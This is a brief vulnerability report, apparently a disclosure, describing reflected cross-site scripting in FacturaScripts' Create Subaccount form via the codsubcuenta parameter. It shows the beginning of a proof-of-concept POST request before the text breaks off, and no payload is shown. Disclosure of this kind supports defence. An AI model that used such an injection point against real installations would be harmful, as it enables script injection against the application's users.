Cross-site scripting - Reflected in Create Subaccount

Description Cross-site scripting - Reflected in Create Subaccount via codsubcuenta parameter. Proof of Concept POST /facturascripts/EditSubcuenta HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:100.0 Gecko/20100101 Firefox/100.0 Accept:...